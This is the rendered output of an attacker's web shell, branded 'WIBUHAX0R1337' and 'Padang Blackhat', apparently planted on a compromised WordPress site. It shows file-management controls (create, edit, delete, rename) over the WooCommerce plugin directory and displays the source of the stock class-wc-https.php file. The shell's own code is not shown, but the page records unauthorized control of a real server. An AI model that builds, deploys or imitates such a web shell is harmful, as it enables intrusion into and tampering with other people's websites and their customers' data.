-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
abstracts
--
NONE
admin
--
NONE
blocks
--
NONE
cli
--
NONE
customizer
--
NONE
data-stores
--
NONE
emails
--
NONE
export
--
NONE
gateways
--
NONE
import
--
NONE
integrations
--
NONE
interfaces
--
NONE
legacy
--
NONE
libraries
--
NONE
log-handlers
--
NONE
payment-tokens
--
NONE
queue
--
NONE
rest-api
--
NONE
shipping
--
NONE
shortcodes
--
NONE
theme-support
--
NONE
tracks
--
NONE
traits
--
NONE
walkers
--
NONE
wccom-site
--
NONE
widgets
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
class-wc-ajax.php
99.764KB
Edit File
Delete File
Rename
class-wc-api.php
4.985KB
Edit File
Delete File
Rename
class-wc-auth.php
11.604KB
Edit File
Delete File
Rename
class-wc-background-emailer.php
4.575KB
Edit File
Delete File
Rename
class-wc-background-updater.php
3.452KB
Edit File
Delete File
Rename
class-wc-cache-helper.php
11.78KB
Edit File
Delete File
Rename
class-wc-cart-session.php
14.68KB
Edit File
Delete File
Rename
class-wc-cli.php
1.162KB
Edit File
Delete File
Rename
class-wc-comments.php
15.516KB
Edit File
Delete File
Rename
class-wc-data-exception.php
1.29KB
Edit File
Delete File
Rename
class-wc-datetime.php
2.198KB
Edit File
Delete File
Rename
class-wc-deprecated-action-hooks.php
6.877KB
Edit File
Delete File
Rename
class-wc-deprecated-filter-hooks.php
6.825KB
Edit File
Delete File
Rename
class-wc-embed.php
4.184KB
Edit File
Delete File
Rename
class-wc-form-handler.php
43.979KB
Edit File
Delete File
Rename
class-wc-frontend-scripts.php
25.909KB
Edit File
Delete File
Rename
class-wc-geolocation.php
10.34KB
Edit File
Delete File
Rename
class-wc-https.php
4.326KB
Edit File
Delete File
Rename
class-wc-integrations.php
1.277KB
Edit File
Delete File
Rename
class-wc-log-levels.php
2.539KB
Edit File
Delete File
Rename
class-wc-logger.php
8.765KB
Edit File
Delete File
Rename
class-wc-meta-data.php
2.182KB
Edit File
Delete File
Rename
class-wc-order-query.php
2.554KB
Edit File
Delete File
Rename
class-wc-post-types.php
28.112KB
Edit File
Delete File
Rename
class-wc-product-attribute.php
6.97KB
Edit File
Delete File
Rename
class-wc-product-query.php
2.179KB
Edit File
Delete File
Rename
class-wc-product-variable.php
21.506KB
Edit File
Delete File
Rename
class-wc-query.php
31.603KB
Edit File
Delete File
Rename
class-wc-regenerate-images-request.php
8.214KB
Edit File
Delete File
Rename
class-wc-rest-authentication.php
19.52KB
Edit File
Delete File
Rename
class-wc-rest-exception.php
0.27KB
Edit File
Delete File
Rename
class-wc-session-handler.php
11.687KB
Edit File
Delete File
Rename
class-wc-shortcodes.php
17.234KB
Edit File
Delete File
Rename
class-wc-structured-data.php
17.317KB
Edit File
Delete File
Rename
class-wc-template-loader.php
20.384KB
Edit File
Delete File
Rename
class-wc-validation.php
5.835KB
Edit File
Delete File
Rename
class-wc-webhook.php
29.971KB
Edit File
Delete File
Rename
wc-account-functions.php
12.916KB
Edit File
Delete File
Rename
wc-attribute-functions.php
20.615KB
Edit File
Delete File
Rename
wc-cart-functions.php
17.156KB
Edit File
Delete File
Rename
wc-conditional-functions.php
12.48KB
Edit File
Delete File
Rename
wc-core-functions.php
78.146KB
Edit File
Delete File
Rename
wc-deprecated-functions.php
32.7KB
Edit File
Delete File
Rename
wc-formatting-functions.php
42.954KB
Edit File
Delete File
Rename
wc-order-functions.php
34.074KB
Edit File
Delete File
Rename
wc-order-item-functions.php
5.032KB
Edit File
Delete File
Rename
wc-page-functions.php
6.921KB
Edit File
Delete File
Rename
wc-product-functions.php
48.124KB
Edit File
Delete File
Rename
wc-rest-functions.php
10.886KB
Edit File
Delete File
Rename
wc-stock-functions.php
13.215KB
Edit File
Delete File
Rename
wc-template-functions.php
115.067KB
Edit File
Delete File
Rename
wc-template-hooks.php
12.384KB
Edit File
Delete File
Rename
wc-term-functions.php
20.618KB
Edit File
Delete File
Rename
wc-update-functions.php
68.065KB
Edit File
Delete File
Rename
wc-user-functions.php
26.604KB
Edit File
Delete File
Rename
wc-webhook-functions.php
5.597KB
Edit File
Delete File
Rename
wc-widget-functions.php
2.015KB
Edit File
Delete File
Rename
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * WC_HTTPS class. * * @class WC_HTTPS * @version 2.2.0 * @package WooCommerce\Classes * @category Class * @author WooThemes */ class WC_HTTPS { /** * Hook in our HTTPS functions if we're on the frontend. This will ensure any links output to a page (when viewing via HTTPS) are also served over HTTPS. */ public static function init() { if ( 'yes' === get_option( 'woocommerce_force_ssl_checkout' ) && ! is_admin() ) { // HTTPS urls with SSL on $filters = array( 'post_thumbnail_html', 'wp_get_attachment_image_attributes', 'wp_get_attachment_url', 'option_stylesheet_url', 'option_template_url', 'script_loader_src', 'style_loader_src', 'template_directory_uri', 'stylesheet_directory_uri', 'site_url', ); foreach ( $filters as $filter ) { add_filter( $filter, array( __CLASS__, 'force_https_url' ), 999 ); } add_filter( 'page_link', array( __CLASS__, 'force_https_page_link' ), 10, 2 ); add_action( 'template_redirect', array( __CLASS__, 'force_https_template_redirect' ) ); if ( 'yes' == get_option( 'woocommerce_unforce_ssl_checkout' ) ) { add_action( 'template_redirect', array( __CLASS__, 'unforce_https_template_redirect' ) ); } } add_action( 'http_api_curl', array( __CLASS__, 'http_api_curl' ), 10, 3 ); } /** * Force https for urls. * * @param mixed $content * @return string */ public static function force_https_url( $content ) { if ( is_ssl() ) { if ( is_array( $content ) ) { $content = array_map( 'WC_HTTPS::force_https_url', $content ); } else { $content = str_replace( 'http:', 'https:', $content ); } } return $content; } /** * Force a post link to be SSL if needed. * * @param string $link * @param int $page_id * * @return string */ public static function force_https_page_link( $link, $page_id ) { if ( in_array( $page_id, array( get_option( 'woocommerce_checkout_page_id' ), get_option( 'woocommerce_myaccount_page_id' ) ) ) ) { $link = str_replace( 'http:', 'https:', $link ); } elseif ( 'yes' === get_option( 'woocommerce_unforce_ssl_checkout' ) && ! wc_site_is_https() ) { $link = str_replace( 'https:', 'http:', $link ); } return $link; } /** * Template redirect - if we end up on a page ensure it has the correct http/https url. */ public static function force_https_template_redirect() { if ( ! is_ssl() && ( is_checkout() || is_account_page() || apply_filters( 'woocommerce_force_ssl_checkout', false ) ) ) { if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_safe_redirect( preg_replace( '|^http://|', 'https://', $_SERVER['REQUEST_URI'] ) ); exit; } else { wp_safe_redirect( 'https://' . ( ! empty( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : $_SERVER['HTTP_HOST'] ) . $_SERVER['REQUEST_URI'] ); exit; } } } /** * Template redirect - if we end up on a page ensure it has the correct http/https url. */ public static function unforce_https_template_redirect() { if ( function_exists( 'is_customize_preview' ) && is_customize_preview() ) { return; } if ( ! wc_site_is_https() && is_ssl() && $_SERVER['REQUEST_URI'] && ! is_checkout() && ! wp_doing_ajax() && ! is_account_page() && apply_filters( 'woocommerce_unforce_ssl_checkout', true ) ) { if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_safe_redirect( preg_replace( '|^https://|', 'http://', $_SERVER['REQUEST_URI'] ) ); exit; } else { wp_safe_redirect( 'http://' . ( ! empty( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : $_SERVER['HTTP_HOST'] ) . $_SERVER['REQUEST_URI'] ); exit; } } } /** * Force posts to PayPal to use TLS v1.2. See: * https://core.trac.wordpress.org/ticket/36320 * https://core.trac.wordpress.org/ticket/34924#comment:13 * https://www.paypal-knowledge.com/infocenter/index?page=content&widgetview=true&id=FAQ1914&viewlocale=en_US * * @param string $handle * @param mixed $r * @param string $url */ public static function http_api_curl( $handle, $r, $url ) { if ( strstr( $url, 'https://' ) && ( strstr( $url, '.paypal.com/nvp' ) || strstr( $url, '.paypal.com/cgi-bin/webscr' ) ) ) { curl_setopt( $handle, CURLOPT_SSLVERSION, 6 ); } } } WC_HTTPS::init();
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat